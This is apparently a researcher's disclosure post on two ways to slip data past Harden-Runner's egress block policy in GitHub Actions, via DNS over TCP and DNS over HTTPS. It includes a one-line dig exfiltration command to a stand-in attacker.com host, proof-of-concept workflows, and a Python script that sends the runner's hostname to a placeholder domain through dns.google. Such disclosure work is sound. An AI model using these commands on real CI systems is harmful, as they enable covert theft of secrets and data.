devansh

More egress filtering bypasses in harden-runner

flow

Table of Contents


Update: Since the publication of this research, the identified issues have been officially addressed in Harden Runner version 2.16.0. The maintainers have implemented fixes that mitigate the vulnerabilities discussed in this post.

Additionally, these issues have been assigned the following CVEs:

Users are strongly advised to upgrade to v2.16.0 or later to ensure they are protected against these vulnerabilities.


Intro Lore

Egress filtering in CI/CD is supposed to keep secrets in and attacker callbacks out. If your build step only needs to talk to github.com, it shouldn't be able to reach anything else. StepSecurity's Harden-Runner does this for GitHub Actions β€” you give it a list of allowed endpoints, set egress-policy: block, and everything else gets denied.

The filtering is domain-based. It watches outbound connections, checks the destination, and blocks anything not on the list. That works fine as long as data leaves through a visible connection to a visible domain.

DNS gives you two ways around that.

The first is DNS over TCP. Harden-Runner doesn't adequately restrict DNS queries sent over TCP, so a single dig +tcp command bypasses the entire policy. The second is DNS over HTTPS (DoH), where a DNS query gets wrapped inside a normal HTTPS request to a public resolver like dns.google. The resolver acts as a proxy β€” Harden-Runner sees a legitimate HTTPS connection and lets it through. It never looks at what's inside.

Both issues affect Harden-Runner v2.13.3 (community version) and likely all prior versions.


What is Harden-Runner's Egress Policy?

Harden-Runner enforces egress policies on GitHub runners by filtering outbound connections at the network layer. When egress-policy: block is enabled with a restrictive allowed-endpoints list, all non-compliant outbound traffic should be denied. A typical hardened workflow:

- name: Harden Runner
  uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf
  with:
    egress-policy: block
    disable-sudo: true
    allowed-endpoints: >
      github.com:443

After this step, any outbound connection to a domain or port not on the whitelist should be blocked.


Vulnerability 1: Egress Block Policy Bypass via DNS over TCP

DNS queries usually go over UDP on port 53. But DNS also works over TCP on the same port β€” it's standard, well-documented, and tools like dig support it with a +tcp flag. It's commonly used for large responses and zone transfers, nothing exotic.

Harden-Runner doesn't adequately restrict DNS queries sent over TCP. While it may handle standard UDP DNS and HTTPS connections, TCP-based DNS queries to an external resolver go through without being blocked or detected.

That means an attacker can run:

dig <exfiltrated-data>.attacker.com @8.8.8.8 +tcp

The query goes over TCP to Google's resolver, gets forwarded to attacker.com's nameserver, and the attacker reads the data out of the subdomain labels. Harden-Runner's dashboard shows zero outbound destinations and zero detections.

Proof of Concept

name: PoC
on: [push, workflow_dispatch]

jobs:
  bypass-firewall:
    runs-on: ubuntu-latest
    steps:
      - uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf
        with:
          egress-policy: block
          disable-sudo: true
          allowed-endpoints: >
            github.com:443

      - name: Test bypass
        run: dig YOUR_BURP_SERVER @8.8.8.8 +tcp

dig is pre-installed on every Ubuntu runner. Harden-Runner shows 0 outbound destinations, 0 HTTPS events, and 0 detections. The Burp Collaborator server receives the DNS query. The entire egress block policy bypassed with a single command.

Step Security Dashboard (our C2 domain is not getting flagged)

522565660-fed3ccd2-c283-4e54-bf45-72be77eb1121

Data exfiltration to our C2

522565693-b6256d41-d342-48b3-ae8f-d84d76b52c01


Vulnerability 2: Egress Policy Bypass via DNS over HTTPS β€” Proxying DNS queries using Google's resolver

DNS over HTTPS (DoH) wraps DNS queries inside standard HTTPS requests. From the network's perspective, a DoH request to dns.google looks like a normal HTTPS connection to a well-known endpoint. Harden-Runner sees it and lets it through.

The idea is simple, use dns.google as a proxy. An attacker crafts a DNS query where the domain being resolved is <exfiltrated-data>.attacker.com, sends it as an HTTPS POST to dns.google/dns-query, and Google's resolver forwards it to the attacker's authoritative nameserver. The data is encoded in the subdomain labels, the runner's hostname, environment variables, secrets, whatever fits.

The egress filter sees an HTTPS connection to a legitimate destination. It never inspects what's inside. The attacker's domain never appears in any connection log.

Proof of Concept

The workflow sets up Harden-Runner with a restrictive policy (only github.com:443), then runs a Python script that exfiltrates the runner's hostname via DoH through Google's resolver:

name: PoC
on: [push, workflow_dispatch]

jobs:
  bypass-firewall:
    runs-on: ubuntu-latest
    steps:
      - uses: step-security/harden-runner@c6295a65d1254861815972266d5933fd6e532bdf
        with:
          egress-policy: block
          disable-sudo: true
          allowed-endpoints: >
            github.com:443

      - uses: actions/checkout@v4

      - name: Test bypass
        run: python3 http.py

The http.py script builds a DNS wire-format query with the runner's hostname encoded as a subdomain, then sends it as a DoH request to dns.google:

import subprocess
import base64
import socket
MY_DOMAIN = "YOUR_DOMAIN" # replace this with your burp collaborator server
try:
    hostname_result = subprocess.run(['hostname'], capture_output=True, text=True, check=True)
    hostname = hostname_result.stdout.strip()
except subprocess.CalledProcessError:
    raise RuntimeError("Failed to retrieve hostname via system command")

full_domain = f"{hostname}.{MY_DOMAIN}"
labels = full_domain.split('.')
name_encoded = b''.join(bytes([len(label)]) + label.encode('ascii') for label in labels) + b'\x00'
header = b'\xab\xcd\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'
tail = b'\x00\x01\x00\x01'
msg = header + name_encoded + tail
encoded = base64.urlsafe_b64encode(msg).rstrip(b'=').decode('ascii')
url = f"https://dns.google/dns-query?dns={encoded}"
try:
    curl_result = subprocess.run(
        ['curl', '-H', 'accept: application/dns-message', url],
        capture_output=True,
        check=True
    )
    dns_response = curl_result.stdout
except subprocess.CalledProcessError as e:
    raise RuntimeError(f"Failed to execute curl command: {e}")
print(dns_response)

PoC Execution 522613436-9cffd1c3-a131-4a7d-9f66-b7763df1c3d3

Step Security Dashboard (our C2 domain is not getting flagged)

522613451-996d179b-1419-49c4-88a0-300ee82aa603

Data exfiltration to our C2

522613470-b001e81d-4990-437d-81d9-2c3d931824dd

Harden-Runner shows 1 destination (github.com), 0 HTTPS events, and 0 detections. The Collaborator server receives the DNS query with the runner's hostname. Data exfiltrated cleanly through a permitted HTTPS connection β€” dns.google acted as an unwitting proxy.


Disclosure Timeline

Both vulnerabilities were reported to the StepSecurity team in early December 2025 via GitHub Security Advisories. The 90-day disclosure timeline was applied naturally, with the blog post date set for mid-March, 2026. StepSecurity acknowledged the reports over email, but my last follow-up message on the advisories asking for updates went unanswered and no CVE was issued.

These were tested against the community version of Harden-Runner (v2.13.3). It's possible this was addressed in step-security/agent#469, but I have not tested it. Since the 90-day disclosure window has passed and I did not hear back about a CVE, I am disclosing now. CVEs are pending.